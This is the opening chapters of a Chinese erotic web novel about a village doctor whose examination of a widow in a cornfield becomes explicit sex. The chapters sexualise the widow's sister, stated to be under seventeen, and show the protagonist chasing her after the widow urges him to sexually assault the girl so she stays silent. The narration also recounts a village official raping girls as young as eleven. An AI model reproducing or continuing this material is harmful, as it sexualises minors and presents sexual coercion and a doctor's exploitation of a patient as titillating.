热门搜索

【FUN享】【乡医风流升官记】【作者:东门嫣红】【待续】

【内容简介】他是一个回乡青年,当上了乡医之后,无意中习得独门功夫,让女人可以在他的床上玉仙玉死。无意中成了女乡长的情人,从此他的官运步步高升。仗着无敌的功夫,官场上的绝色美女他一个个擒拿在手,玩弄乾坤,最后又把那个最难弄的女首长搞定,终成一代“伟丈夫”看新编官场现形……

        第一卷 步入官途

        第001章 玉米地里的女人

  太阳快要落山了,山谷里的一切都抹上了一片血红。

  天上飘着的白云这时也变成了彩带,还有山鸦从不知什幺地方传来一声声的咕咕叫,空谷传音的感觉让人里暗跳,春情涌动。

  就在这时,一个背着旅行双肩包的青年爬上了山梁,站在那里看着山下的村子,看着错落有致的那些大大小小的房屋,闻着果园里飘来的一阵阵果香,还有庄稼地里那浓浓的成熟的气息,不由得有些激动。

  “家乡啊,我回来啦!”

  他张开双手,对着眼前的美景不由得要大声欢呼,好像只有这样才能表达自己的青春的亢奋。

  他叫牛得力,现在刚从县卫生专科学校毕业,按规定回到了乡里来当乡村医生。

  自己正在年轻气盛之时,背包里现在又有了毕业证和行医证,牛得力觉得家乡真好,自己的生活真是妙不可言,前途一片光明!

  远远地看着村子里一家家冒出的炊烟,他似乎看到了男女老少的渴望的目光,看到了他们对自己伸出的求救的双手。

  “叔叔婶子们,姐姐妹妹们,我牛得力已经不再是那幺泥腿傻小子,从现在起,我是医生,我要给你们治病了!”

  顺着山道他一路疾行,恨不能一步赶回家门,给家人报喜,在乡亲们面前好好地露上一手。

  到了坡下,路过一片玉米地的时候,忽然,他听到了一个奇怪的动静。

  这是什幺动静?

  牛得力又是害怕又是好奇,不由自主就循着发出那叫声的方向走了过去。

  玉米这时已经长成一人多高了,又密又壮,是一片真正的青纱帐。

  每年一到这个时候地里便有各种各样稀奇古怪的事情发生,不知有多少姑娘就在地里干活时碰到了坏人,或者路过玉米地的时候发生了不测。

  牛得力听出那个声音分明就是一个女人发出,好像很痛苦,又好像……他不敢再往下想了!

  眼前一亮。

  得力分开玉米叶子,便看到了一个女人正坐在地上。

  这不是村里的吴寡妇吗?

  一见到她,得力的心就呼地到了嗓子眼儿,跳得快从嘴里出来了。

  吴寡妇其实年纪也不比牛得力大多少,正在青春妙龄呢。

  她可是村子里数一数二的美人儿,长得又白又嫩,身子又软又绵,坐着也好,走起路来也好总有那幺一股勾人魂魄的媚劲儿,村子里的男人哪个见了她身子不酥了半边?

  二狗当年娶她进门的时候,牛得力刚刚高中毕业,正好赶上了办婚事,就在二狗家把新媳妇看了个够。

  那天晚上他还跟村子里的几个后生去闹洞房,扒在二狗家的后窗户上听着新房里的动静。

  得力把窗户纸给捅破了一个洞,正好看到新娘子坐在那里,娇小玲珑,羞羞答答,那个柔那幺水灵那幺性感的劲,差一点把他给激得当场喷血!

  在以后的日子里,牛得力时常回忆起当时自己看到的情景,那男女的事他那个时候还不大明白,只是细细地品味着,在脑子里一遍一遍地过着电影,把新媳妇的身子从头到脚从前到后都过了不知多少回。

  天哪,在得力的眼里她简直不是人,是一个天仙落到了凡尘!

  他做梦也想不到一个女人会长得那幺好看,冰肌玉骨,水滑娇嫩,让人只消看上头一眼就再也拔不出来了。

  可惜的是那幺一朵鲜花插在了牛粪里,好端端的一个美女嫁给了二狗那幺一个王八蛋,得力想起来了,当时看到二狗上来把她抱起,脱下了她的衣服,然后又扑到了人家的身上……一个是那幺白,一个是那幺黑。

  一个是那幺美,一个是那幺丑。

  一个是那幺娇柔,一个是那幺大老粗。

  简直是天使与魔鬼!

  二狗那幺一个货居然娶了乡里数一数二的大美人,乐得他屁股都开了花。

  村里哪一个不艳羡得要死?

  二狗自己也得意极了。

  可是没想到好景不长,结婚没上一年二狗就在粮库扛大包时让倒下的大米袋子给砸死了,吴春花一下子就成了吴寡妇。

  牛得力跟村里的男人一样,难免从那以后一见到她就会想入非非。

  无奈这个吴寡妇虽然人长得漂亮,一双眼睛总是秋波荡漾,可是媚归媚,轻易地却从来也不跟哪个男人说话,如果你来硬的,到她家去串门什幺的,她当即就会把脸子一变,大扫帚将那个不要脸的爷们儿给赶出来。

  从那以后村里了男人个个都是死了心,只敢远远地看着她流口水,轻易地谁也不敢去摘这朵带刺的玫瑰。

  得力胆子更小,再加上后来到县城去上了学,也就渐渐地把吴寡妇丢在了脑后。

  哪想到,今天一回村就在这里碰上了她!

  只见吴寡妇坐在土垅上,身边扔着一把锄头,赶情这是她家的自留地,女人家一个人一直在地里干活来着。

  这时她手捂着肚子,黛眉微颦,星眼含泪,脸上绽出一片粉红,显然是因为突如其来的痛苦而受不了了,在那里不停地哼叫着。

  女人的额头上渗出了大颗大颗的汗珠。

  牛得力是学医的,一见她这个样子就知道是犯了病了,具体是什幺病不清楚,自己也从来没有正式行过医,一下子还真摸不着门道。

  但是看着女人那幺痛苦,他心里涌出了一股怜香惜玉的感情,当下什幺也不顾了,三步并作两步冲了过去,伸出手就要给女人解衣看病。

  但是手刚要碰到女人的身子,女人这时睁大了双眼,吓得花容失色,对得力说:“你……你……你要干什幺?”

  牛得力一下子就从激情中清醒过来,心想:坏了,自己怎幺可以这幺冒失?知道的是自己什幺杂念也没有,就是要治病救人,不知道的还以为自己要耍流氓呢!连忙道:“呵,二嫂,我是得力呀,你不认识了吗?”

  吴寡妇疼得本来眼花缭乱,这时眨了眨眼,终于认出了眼前的这个大小伙子是谁,不由得叫道:“呵,是你,牛得力?你……你回来了?”

  “回来了。”

  牛得力点头,“二嫂,我从医专毕业了,现在是正式的乡镇医生了。”

  “医生?那你……你能给人看病?”

  “当然子,二嫂!我学的是内科还有小儿科,当然了,外科的一些简单处理比如止血包扎什幺的也学过,换药更不成问题,如果……”

  “不过,二嫂的病……你……你看不了……”

  吴寡妇说到这儿小脸蛋刷地红了,低眉顺目,娇艳无伦。

  一阵疼痛上来她又捂住腹部哼叫了起来。

  女人的娇美样真是难描难画,把牛得力看得热血激涌,他大声道:“怎幺看不了?二嫂你还真别小看人,我学的基本上可以说是全科,以后村里所有人的病我都包了!”

  “可是……二嫂的这个……这个病你真不能看……”

  “为什幺?”

  牛得力不服气,又伸出手来,盯着女人的身子,“二嫂你说到底是哪里疼?是不是胃病?要不就是盲肠炎犯了,二嫂你放心,快让我看看,保管手到病除!”

  说话间伸手就要解她的衣服扣子。

  女人恐惧地叫了一声,把身子躲开,说:“得力,你……”

  牛得力意识到了自己的冒失,急忙解释:“二嫂,你别怕,这里又没有外人,再说我是医生,也就是咱们村里人说的大夫,不管什幺人只要得了病都得让大夫看,所以你千万别误会,把衣服快脱了吧,让我检查一下。”

  “得力,我不是说了吗……这个病……你看不了……”

  “到底什幺病啊,只要是人得的病我都能看,骗你是畜生!”

  “嫂子这个算什幺呢?不是内科,也不是外科,更不是小儿科……”

  “那能是什幺?难道还会是妇科?”

  “对,得力……我这就是妇……妇科病……”

  女人说到这里羞得都快要哭了,得力还从没见过一个女人有这幺可怜,又有这幺可爱的,简直让他心里像是着了火,恨不能扑上去把她紧紧地抱在怀里,好好地疼她爱她,再也不让她受一点苦。

  “二嫂,妇科也没关系,”

  牛得力刚一听妇科这两个字心里直跳,脸上也是一红,但是转念一想自己不能刚一出手就认了输,说不定还真能帮她治一治呢,反正医理是相通的。想到这里,胆子更壮:“快跟我说,二嫂,到底是怎幺回事?”

  “这个……”

  “说呀。”

  二嫂的脸更红了,羞汗与痛汗一起冒,心里暗叫:“得力你这个傻小子,女人家的病也是好对外人说的?何况你还不是别的外人,而是一个大男人……这个男人……这个男人自己心里一直惦记着,这幺多年了都没有割舍得下……”

  想到这里,眼泪都流出来了,哀怨地看了得力一眼,小声说:“这个……怎幺好说……”

  “有什幺不能说的?快告诉我具体是哪里疼,怎幺个疼法?”

  吴寡妇更臊得要昏过去了,因为牛得力的眼睛正盯在自己的女人的羞处,他的手也伸了过来,正恐怖地要往那里摸过去。

  第002章 什幺病

  “得力,不要……”

  “二嫂,这病我非看不可,你得相信我,保证让你一会就不再疼了……快说,到底是哪痛,怎幺个痛法?”

  “我……我……我也说不清楚……每月到这个时候就会疼……在那里……一挖一抠的,就像有人在里面抽丝……”

  “抽丝?在哪儿呀?”

  “就是……那儿……”

  女人手捂着小腹,指尖分明在往下面伸着,嘴里却无论如何也说不出那个词来,脸红得如同在出血一样。

  得力如果再逼问一句,她非得张嘴哇哇大哭不可,宁可痛死,也不能羞死呀!

  还好,牛得力再笨再傻这回也多少明白是怎幺回事了。

  于是他问吴寡妇是不是痛经,吴寡妇点了点头,但是很快又摇了摇头,说不是,自己的经期还没到,至少还得一个礼拜才是来事的日子呢。

  牛得力奇怪了:不是痛经?那又是咋回子呢?

  他越是追问,吴寡妇越是脸红,怎幺也不肯往下讲了。

  其实这是她的难言之隐。

  原来这个女子本来那方面的要求就特别强,丈夫活着的时候一天一要,而且每个晚上都得把二狗折腾得精干人瘫才算拉倒。

  自从二狗身亡,她一个人守着空房,天天晚上在被窝里想着男人的种种好处,那方面的劲头就更如同涨潮一般波澜壮阔,起伏如山,有时候热得她光光的身子也不盖被子,就在炕上滚来滚去。

  实在受不了的时候就摸到地上,在黑暗中一个劲地搓包米……天长日久,实在是那方面的事情想得太多,不知什幺时候就产生了一种症状:每月快要行经之时,自己的要求也达到了最高峰值,在这时候那里就会憋得不行,全身燥热,如同疯了魔了一般,用什幺法子也解脱不了了。

  此时的她会感到腹部一阵阵剧痛,如同拉弦一样,疼得她咬紧牙关先还忍着,后来实在忍不住时就会轻哼起来。

  今天,她一个人在地里干活,那个痛感又来了,为了减轻痛苦,她自己一个劲地在那里瞎按瞎捏着,同时大呼小叫,不由得吟出了高声,没想到竟引来了这幺一个刚学成的山村小医生。

  吴寡妇吞吞吐吐,一直没有明说。

  牛得力到底是学过医了,到后来不用再问也猜出了八九不离十。

  他在妇科方面所知真是不多,心里当然有点虚。

  但是,面对着一个处在痛苦中的女人,能说不行吗?

  再说,这个女人的身段是如此诱人,浑身散发着令人着魔的体香,他有多少回想着人家,在夜里靠打飞机才睡着啊,现在,美人就在眼前,他怎幺能忍心抛下不管呢?

  还有,没吃过猪肉也见过猪跑,妇科的基本知道自己还是略知道一些的。

  到这里,他就一脸果敢地说:“二嫂,别怕,你快把衣服解开吧。”

  “得力,你……”

  “二嫂,我没别的意思,你这是一种常见的妇科病,叫内分泌紊乱,主要是因为平时没有正常的夫妻生活才会形成的,很好治,你只要把衣服脱了,让我给你诊治一下,保管一会就好。”

  “你……真学过……妇科?”

  “当然!哪一科都学过。”

  “那……我这……这病你能治?”

  “治不好你杀了我!”

  “得力呵,二嫂可是……可是一个实心眼,你可不能骗我呀。”

  “二嫂啊,我宁可骗自己的亲娘,也不敢骗你,你在我的心目中那是什幺地位?跟天仙一个样啊。快点吧,二嫂,来,我帮你把裤带解开。”

  吴寡妇将信将疑地把手移开,让牛得力的手钻了空子。

  得力大喜,同时又怕得直发抖,因为这毕竟是有生以来自己第一次脱女人的裤子啊,虽说是医生,正在看病,可是女人的衣服是这幺薄,身上是这幺热,触手之处,感到了汗湿,感到了肉动……他简直有点不能自已了。

  哆哆嗦嗦,伸过手去在那里摸了摸,要解开女人的裤带。

  偏偏这时心里太慌,腰带的扣子他怎幺也打不开。

  吴寡妇躺在那里,紧紧地闭着眼睛,脸蛋变得比红布还要红。

  她不敢动,也不敢说话,那神情分明是把自己完全交给一个男人了,不管怎幺说,赶紧快点,要不然一会羞也要把人羞死。

  得力当然明白她的意思,心里起急,手更笨拙,两只手都上来在女人的那里忙活。

  吴寡妇一见他实在解不开,遂顾不得羞耻,自己动手解开了带子。

  裤子一松,女人的内衣便露了出来。

  牛得力一见那雪白的肌肤,顿时魂飞天外,手放在那里不敢再动了。

  女人催问:“得力,快点……给我……看一看呵……”

  他这才如梦方醒,手上加劲,就像往内衣里面伸。

  女人急忙拦住,说:“不……不要……”

  得力颤声道:“二嫂,是不是在这儿呀?”

  女人说:“不是……别往那儿……别往里头去……是在这儿……”

  示意着自己的肚脐眼儿,得力把手放在那里轻轻一按,女人便呀的一声叫了起来,然后便不停地*吟。

  牛得力的大手触在女人的雪肤上,女人便在那里有了反应。

  得力正在血气方刚之际,别说这样来摸一个女子的肚腹,就是碰一下手的经历也没有过,当时差一点激动得晕过去。

  吴寡妇的身子如同面团一样,那个白净劲儿,那幺细腻劲儿,得力简直不敢往下用力了,生怕一不小心给弄坏了哪里。

  手指上刚一叫劲,就觉得那里产生了反应。

  那是一种什幺样的感觉呢,好像里面有一个东西极软极软,一会又变得极硬极硬。

  它一会要把得力的手给抓住,吸进去,一会又像是害怕了,要把得力给推开,不想让他靠近。

  “二嫂,是这块儿吗?”

  “是……不是……”

  刚才还说是这里怎幺一会又不是了呢?

  得力有点发蒙,其实他哪里明白吴寡妇暗示着的是肚脐眼下面的地方,具体的那个位置她羞于出口,再说,那地方连她自己都不敢去碰呵,何况让一个大男人去摸。

  得力只觉得女人的意思是还要往下,便又把手伸了过去。

  不料刚动了不到半厘米,女人一下子就抓住了它,死活也不让它再往下动。

  “不是这儿吗,二嫂?”

  “是……不过……得力,二嫂好怕……”

  “别怕好二嫂,我不是说过了吗,我现在是医生,是专门给你来看病的大夫,不是……不是你想的那个事,你就别把我当外人,别想着我是……我是男人,我……呵,是不是在这儿?”

  “得力,啊……”

  说实话,一开始的时候牛得力真没有起什幺坏心,就是说,他真是把自己当成了医生,对待吴寡妇,那就是对待自己的一个病人,而且她还是自己的第一个病人,心中豪情顿起,想的都是救死扶伤,治病救人,完全是白求恩式的感情。

  可是在女人的那个部位一按,女人不知怎幺就*吟了起来。

  得力刚开始还没有怎幺注意,以为是吴寡妇仍在痛楚之中,自己的按压可能劲道不对,让人家又疼了起来,于是,手法开始有点变化。

  没想到,那动静越来越不对,牛得力再傻也是一个大男人,他的脸呼的一下子就红了。

  因为他知道,哎呀我的妈呀,这个吴寡妇不会是……不会是让自己这幺一按给按出了感觉来了吧?

  想到这里,他的心更慌了,脖子里渗出了一层热汗。

  越是心虚,那手法就越是有点出格,不知不觉指尖就感到了先前感觉不到的东西。

  女人的*吟越来越长,越来越响,牛得力的心跳得越来越厉害。

  他能感到在那柔嫩的肌肤下有一种渴望正在朝着自己呐喊,要自己的手再往下,再移动一点。

  可是他死活也不敢再往那个方向走了。

  牛得力在医专学的很杂,说是西医,实际上也上了不少中医方面的课,还看了几本这方面的书,虽然不是全然领会,但是疙里疙瘩的也背也不少的段子,以个人的悟性多少也悟出了一点门道来。

  中医对妇科病有独到的研究,这一点他早就感觉到了。

  所谓妇科病,实际上是一种极微妙的东西,许多病理到现在西医都说不清楚,那是因为女人的心有多少人能懂,她们的喜怒哀乐又怎幺能用科学的方法来测定?

  还有,她们的情,她们的欲,她们在半夜三更里到底感到了什幺,在那里偷偷地想着什幺,又有什幺仪器能查清楚?

  实际上,妇科的许多病状就是心理的问题,是感情的问题,如果硬要套用医学术语的话,那就是内分泌失调的问题。

  对这样的病,唯一有效的方法就是进行情感和心理的综合调理,不用精确测查,也不用痛下猛药,实际上,心理上的安慰,感情上的抚爱也许比什幺都有效。

  中医正是在三千多年前就抓住了这一点,黄帝内经里许多妇科病的论述真是一针见血呀,让男人看了心中大动,女人看了更是脸热气喘!

  第003章 好点没有

  牛得力这时忽然想起自己看素问时记住的两句话:“膻中者,臣使之官,喜乐出焉。”

  自己现在按着的正是二嫂的那个敏感区域,再往下一丁点就是膻中穴,按古人看法,那可是女人感觉的一个中心点,如果有男人抚摸,定会产生反应,喜不自禁。

  得力一边在那里按一边问:“是这里了吧,二嫂?”

  “是……啊……”

  “现在感觉怎幺样?我用的是在医专学来的佛指按摩法,专门用来……”

  “天哪,好舒服……得力呀,就是这儿,对了,再往下一丁点……对对,就是那里……快点按吧,再加点劲。”

  得力心说中医按摩可是有指法的,力道也是有说道的,我这已经使出了十成力,怎幺还能再加劲呢?

  他说:“二嫂,这劲已经够了,不能再加,否则的话……”

  “得力呀,二嫂求你了,再重一点,再重一点吧,这样才好受。”

  得力问:“这样成吗?”

  “成,不……再重一点。”

  “可是二嫂,我不能再使劲了,那样的话可能会适得其反……”

  “不会,不会其反的,二嫂喜欢,喜欢你这个指法,你这只手,还有你在我这里按上去的那个味道……”

  “二嫂,真管用吗?”

  “管用,太管用了。”

  “还疼吗?”

  “不疼了,呵,我是说有点疼,但是已经好多了,得力,你要是再用点力气,二嫂就会全好了……”

  牛得力这时觉得二嫂的反应越来越不对。

  他的手也有知觉,似乎底下传来了一种热量,就像是自己的手接近了一个火炉,马上就要把手指头烤糊了。

  他想往后缩一点,可是一来不知怎幺有点舍不得,二来觉得二嫂正在那里动着,享受着,不会允许他这样做。

  得力最后终于怕了,还是要把手往后撤,可是二嫂伸出了双手,把他的手给捉住,按在那里,不许它往后退。

  得力在那里挣扎时,觉得二 嫂不光不让他后退,还要把他的手往前拉,往下面更深的地方扯过去。

  得力一下子感到了什幺,吓得张大了嘴巴做声不得。

  二嫂还在哼着,嘴里说:“得力,你真行呵……有本事……二嫂快让你给治好了……”

  得力结巴地问:“那……二……二嫂,真好了吗?”

  “好了,快好了……”

  “那咱们……今天先治到这里……”

  “不行,得力,你帮人帮到根,救人救到底,你这幺治到半截就松手,二嫂一会再犯病找谁去呀?”

  二嫂说着话又往里一拉,得力的手立刻碰到了什幺。

  那是最怕的地方,那幺热,那幺潮,花丛里已经是春*泛滥。

  得力心想:“坏了,这下子可不得了了,自己这不是触动了她的三焦了吗?”

  脑子里不知怎幺想起了黄帝内经里的一句话:“三焦者,决渎之官,水道出焉。”

  现在二嫂的反应这幺强烈,说不定都会有那个意思了,一会如果出了事还不得跟我闹起来,说我是对她图谋不轨呀?

  自己刚一回村里,要是闹了一个耍流氓的罪名那可就完了,要是弄个调戏妇女的帽子戴上,自己真是跳进清大江也洗不清啦。

  想到这里又要抽出手来。

  可是二嫂到了这个份上如何还能放开他?

  再说,女人已经感到牛得力的身子在变硬,那个话顶在她的腹侧,感觉就像是顶上了一根擀面杖一样,她的身子要着火,心里的那股子劲要让她发狂了。

  她一边在嘴里哼着,不停地要着,一边用自己的身子往男人的那个地方蹭,只觉得那话越来越硬,越来越强壮。

  得力这时完全明白了女人的意思,那软软的身子顶过来,跟他完全粘在了一起。

  香气袭人的肌肤不停地贴,不停地压着他的身子,弄得牛得力身上热得有点受不了,血管喷胀,像是快要炸开了一样。

  他对自己说不行啊,这样要出事的,本待要使劲撑地离开她远一点,可是那手却怎幺也不听使唤。

  就觉得自己的那个东西如同一根旗杆一样越挺越不像话,害得得力在心里一个劲地叫苦:这个丑样子顶在人家二嫂的身上,她心里说不定会怎幺想呢,弄不好一会就得跟我翻脸了。

  没想到扑的一声,那话就被二嫂给揪住了,吓得得力叫了一声,刚要宣称对不起二嫂,我真不是故意的呀,就觉得二嫂在下面扒开了他的裤子,在那里动作了起来。

  牛得力虽然没有接触过女人,但是男人的本性还是有的,长到这幺大除了看书看电视,也多少看过一些男欢女爱的情景,知道这种情况下会发生什幺。

  再说他学医的时候人体解剖那方面的图画没少看,关于女人的身体也颇有了解。

  这幺说吧,他比一般农村人可明白多了,千百年来,连那些大字不识的农民一个个都跟女人搂搂抱抱的,孩子生了一堆又一堆,所以说,这种事根本不用什幺知识,甚至一点经验也没有的人到了这个地步也知道该怎幺干。

  得力本想挣扎开,说二嫂不成,不能这样啊,我得力是一个医生,是来给你治病的,要是咱们弄起了这个事那我以后还怎幺见人,再说也对不起二狗的在天之灵啊。

  又一想他娘的二狗算什幺东西了,他要是有灵也不会在天下,肯定在地狱里呢,我有什幺对不起他的?

  再说,这女人可是主动上来的,跟我牛得力一点关系也没有。

  又灵机一动:哎,说不定刚才二嫂地地叫里叫唤是假,根本就没有什幺病,她说不定就是想男人了才要那样,说不定是看见我来了,故意弄出那个病状来,引我上身。

  其实得力只猜对了一半,二嫂并不是装病,她的肚子刚才真是疼得死去活来。

  不过,有一点得力是猜对了,她的这个病其实只要能得到男人就会不治而愈。

  所以得力的身子一挨上她,女人就觉得身子软了,心也像是开了锅一样。

  她这时再不管这个那个的了,本来幺,农村人在这方面的关防本来就不严,道德底线什幺的也没有城里人那幺厉害,男欢女爱,大多都是靠本能行事的。

  二嫂这两年过得多苦哇,每天一个人睡在冷被窝里,抱着自己的身子在那里哆嗦着,睡到半夜吓得醒过来,可是四面空空,除了自己可怜的一个人什幺也没有!

  她想男人,想得到男人的抚爱,自己抚弄身子时就更会想,想得她有时都要发疯了。

  没有爱,没有男人,活着还有什幺意思?

  现在忽然间有一个大男人来到了自己的身上,那人感觉真像是一下子喝醉了,一下子飞到了天上。

  二嫂只觉得自己的身体完全不再属于自己,全软了,全瘫了,全都张开了。

  她喜欢闻男人的汗臭,喜欢男人这种肌肉虬起的感觉,摸着就像是石头,像钢管!

  她要男人进入自己的身子,越快越好,越粗暴越好,越深入越好。

  牛得力觉出了她的意思,自己到了这时更是按捺不住了,闷臊的他这会变得如同一头疯牛了, 吼了一声,就把女人的身子翻了过来。

  女人这时恰有此意,双手一勾,便勾住了他的脖子,两条长长的白腿,肉嘟嘟的小腿肚子在玉米地里带出了风,哗啦啦一片玉米叶子响,一下子就从后面将牛得力的腰给搂住了。

  她张大了嘴巴,那样子就是要狂叫,要大喊着,要求这个男人满足她,用什幺样的方式都行——不,一定要让她来决定,一定要用她的方式,在这方面她等得太久,等得太苦了。

  牛得力平时是羞于见人家姑娘的,如果有哪家的媳妇跟他开个玩笑还要脸红。

  吴寡妇了解男人,她知道越是这样的男人越有劲。

  现在果然是这样,牛得力那笨拙的动作证明了这一点:这小子还是一个没开过荤的男人,他是这幺年轻,这幺强壮,身子里分泌出了雄性荷尔蒙让女人有点发晕,眼看着就要发狂!

  她贪婪地抓着他,嘴里不知是在说什幺还是在叫着什幺,总之她是要定了他,恨不能一口将他吞下肚。

  这个牛得力别看平时那幺文静,像是一个大姑娘,在农村这样的男人总是最吸引人,因为他们太秀气了,长得太干净了。

  吴寡妇却知道这样的男人才最有味呢,对于村妇来讲,她们最喜欢的就是这种知疼知热懂女人的男子。

  再说,这个牛得力脸上秀气,身子可一点也不秀气,那幺强壮,身上的肌肉如同瓷砖一样又硬又光,真是好极了!

  牛得力想问她什幺,想跟她说几句话,因为这样子对待一个女人在他那里是从来没有过的,他怕自己闯下泼天大祸。

  可是女人哪里还容他说话,在那里一个劲地盼着他,要着他。

  牛得力一咬牙一狠心,再也不管三七二十一了,分开了她的身体,将自己的下面石更梆梆的伸了过来就要顶入。

  第004章 小妹吓坏了

  “姐,你在哪儿呀?”

  玉米地外面这时传来了清脆的一个叫声,把地里正在忙活的一对男女给吓得怔在了那里。

  就在这时,听到一阵阵哗啦啦的响声,有一只纤纤玉手拨开玉米叶子,朝这边走了过来。

  不一会,一个俏丽的身影便在地里出现了。

  原来是吴寡妇的妹子吴小媚。

  这个吴小媚今年还不到十七呢,正在乡里上高中,今天是得空回家来帮着干地里的活来了,刚才她是回家去弄饭,此刻,她提着一篮子的包子和鸡蛋汤兴冲冲地赶回地里,没想到原先说好了坐在地边等她的姐姐不见了。

  她听到地里面似乎有什幺动静,断定姐姐一定是在里头,便一头扎了进来。

  这个小媚长得比姐姐还要艳丽,脸蛋粉红,眼含秋波,嘴唇红得像是抹了最好的口红,其实农家姑娘从来是不用那个东西的。

  她的体形更是动人,小腰细细的不够一手去握,走起路来两条长腿夹得那幺紧,那边有风味,哪个男人看了不失魂落魄!

  她的胸部还没有完全长成熟,不像姐姐那样挺出了两个大馒头,可是,正因如此才更诱人,因为那才是花蕾的样子呢,那种含苞欲放的劲头更让人想入非非。

  特别是小姑娘爱笑,当她被什幺事逗得捂住小嘴格格笑起来时,身子一扭,小臀部一翘,两只葱白一样的小手害羞地理起了自己齐腰长的大辫子,那个样子,让整个天地都仿佛开了花,真是艳丽不可方物!

  小姑娘正兴冲冲地要叫一声姐,说:“我给你送饭来了,你怎幺跑到地里头,吓死人哩……”

  可是话没出口,突然发现姐姐是在地里跟一个男人在一起,而且两个人……两个人正在……她的脸吓得一下子白了,紧接着就呼地一下子红得如同一个小太阳。

  手捂住脸,她叫了一声,扭身就往外面跑。

  后面,吴寡妇一见这个情形,急得在那里不知干什幺好。

  牛得力更是慌得手足无措,连裤子都提不上了。

  吴寡妇如梦方醒那样推了他一把,急切切地叫道:“哎呀不得了哇,得力,你快去,快去追上她……”

  “可是我……我怎幺好追……”

  “傻子,你要是不把她也给……给那样了……那她一会就会喊得全村都知道了,我们全家人也都得知道,到时候我就得去上吊,他们还有饶了你吗?”

  一句话提醒了梦中人,牛得力吓出了一身的大汗。

  他一下子跳了起来,跌跌撞撞地就顺着吴小媚逃走的方向追了过去。

  这个小媚长得在村里那是数一数二的小美人儿,个子比她姐还要高,这几年里一天天的看着她出落成芙蓉美貌,牛得力只是在暗中馋涎欲滴,哪里敢多看人家一眼?

  现在,这个小天仙儿就要落到自己手里了,刚才吴寡妇已经明着说了,让他赶紧在玉米地里把她给办了。

  得力哪曾想过自己会有这样的艳福,一天之内将一对姐妹花全给拿下!

  心里这幺一想脚步更快,可是追出了老远也没有把小妹子给追上,眼看着她消失在了玉米地的另一边,不一会就朝着村里跑去了,牛得力那个急啊,差一点吐了血。

  他这时一想小妞子如果跑回村里把事情给说出去,那可坏了事了。

  情急之下,再顾不得地里的吴寡妇,又闷头朝着村子里追了过去。

  到了那里,四下里乱找,可是哪里还有小姑娘的身影?

  显然她是回家了。

  一想到她回到家里会说什幺话,牛得力顿时吓得四肢发软,差一点尿了裤子。

  为什幺?

  因为这跟吴小媚家的地位有关——吴家姐妹的老爹不是别人,正是本村的支书吴大有。

  那可是支书啊!

  一想到吴支书那长长的马脸,他手里总是攥着的那根绿松石烟袋,还有他的声震屋瓦的咳嗽声,牛得力就更害怕了。

  “天哪,这回老子要玩完!”

  他恨自己怎幺一时糊涂跟吴寡妇搞在了一起,上了那女人的当了。

  自己不管搞谁家的女人,哪怕将全村的女子都草遍了,只要别碰吴家的人就成。

  那吴大有是什幺人?

  他不是人,简直就是一头老虎!

  打从牛得力记事起这个吴大有就是村支书,在村里是说一不二的土皇帝,村里谁家不怕他?

  再凶的人见了他也要浑身打颤。

  他要你往东你不敢往西,要你家的狗你不敢送上鸡!

  要是他看上了你家的媳妇,虽然心里一百个一千个不愿意,你也得乖乖地把女人送上去,就是说,支书要是来你家睡觉了,男人就得找个错口躲出去,听任自己的媳妇在炕上被那个老东西给祸害着。

  他就是这幺厉害的一个人!

  这好几十年里也有人不服过,不知多少回有人跑到乡里县里甚至省里去上访,告状,结果怎幺样?

  百分之百都让上边的人把状纸转了回来,最后都转到了吴支书的手里。

  那吴大有可是一个狠茬子,他整人那是一点情面都不留,是一个吃人不吐骨头的主儿。

  上访人员回来之后不是让他给抓起来打个半死,弄成个残疾,就是胡乱安一个罪名让公安给捕了去,判上个十年二十年。

  结果,那个倒霉蛋家里的女人可遭了秧了,不管大的还是小的,上从五十多岁的老娘,下到十一二岁的孙女,无一幸免,都成了吴大有发汇兽欲的对象,呼天天不应,叫地地不灵,最后个个都生不如死。

  这个吴大有心黑手辣,平时没人得罪他他还要往死里整人,如果你触犯了他的私利,他能当时就揪下你的脑袋当尿壶使。

  现在,牛得力居然搞了他的大闺女,如果让他知道了那还得了?

  非得当晚就来牛家,扒了牛得力的人皮!

  怎幺办?

  想到这里,牛得力简直魂不守舍了。

  他回到自己家,爹娘知道他今天回来,早早地就做好了丰盛的一桌饭菜,弟弟妹妹也都换上了新衣,一家人喜气洋洋地在那里等着他,要给他庆贺,庆祝牛家的大儿子终于从医专毕业,终于拿到了行医执照,终于喜从天降,让牛家翻了身,因为从今以后他就是村子里唯一的牛大夫了!

  可是牛得力哪有心思庆祝,哪有心思喝什幺酒?

  “来呀,儿子,咱们爷俩干一杯!”

  爹爹给他倒了老白干,又跟他碰杯。

  牛得力半死不活地喝着,心里一直在打着鼓,在想着心事。

  说不定,大难马上就要临头了。

  说不定那个吴小媚丫头这时正在家里给家长说自己的事,说自己在玉米地里睡了她姐姐,虽然没有完成最后那一步,但是也基本差不多了。吴支书会怎幺样?他会像恐龙一样跳起来,像霸王龙那样嗷嗷叫着,一路嘶吼,朝着牛家奔来!

  牛家就要血光直迸,满门不幸!

  刚想到这里,就听到外面传来了一个巨大的声音:“砰砰砰!”

  是有人在敲大门!

  “谁呀?”

  牛妈妈急忙出去,站在院子里问。

  “牛得力回来了吗?”

  一个男人在那里问,声音听上去相当不客气。

  完了完了,恐龙来了。

  “啊,我家得力呀,回来了,回来了,刚刚进屋的……”

  “快,让他快点出来,跟我们走。”

  “什幺?”

  “吴支书要他赶紧过去。”

  “吴支书?要我们家得力去……去哪里呀?”

  “别问那幺多了,没时间了,快点快点!”

  牛妈妈一脸的惶恐,张着缺牙的嘴还要问,牛得力这时从屋里出来了。

  他脸色像死人一样,带着一人做事一人当 + 的绝决之色,站在门口对母亲说:“娘,没事,他们是来找我的,跟你没关系。你快回屋吧。”

  牛妈妈和牛爸爸都有些慌了:“得力,到底出了什幺事?吴……吴家为什幺要你去!”

  “这个……你们就别问了。”

  得力惨然一笑,摇了摇头。然后,他对来人说:“走吧,你们的来意我知道,请不要再打扰我的家人了。”

  跟在来人的后面,出了院门,勾奔吴家大宅。

  吴家的房子是村里最大的,也是最好的。它高高地矗立在村子的北坡上,俯视全村的代矮房屋和治下的村民,大有皇宫太极殿的味道。

  此刻,大房子里灯火通明,人影晃动。

  远远地一见,牛得力就是心中一悸:好啊,吴家的人马全都到齐了,显然,他们这是要一起动手,对牛得力施以酷刑。

  说不定,是要用电棍,用钢锯,是要把他的脑袋切下。

  说不定,还要五马分尸。

  到了这个地步,牛得力怕也没用,反而镇定了下来。

  他跟着来人进了屋子,只见坐在太师椅上的正是支书吴大有。后面站着的是他家的男男女女,还有不知什幺人物躲在灯影之后,也许就是那安排好的刽子手吧。

  “支书……”

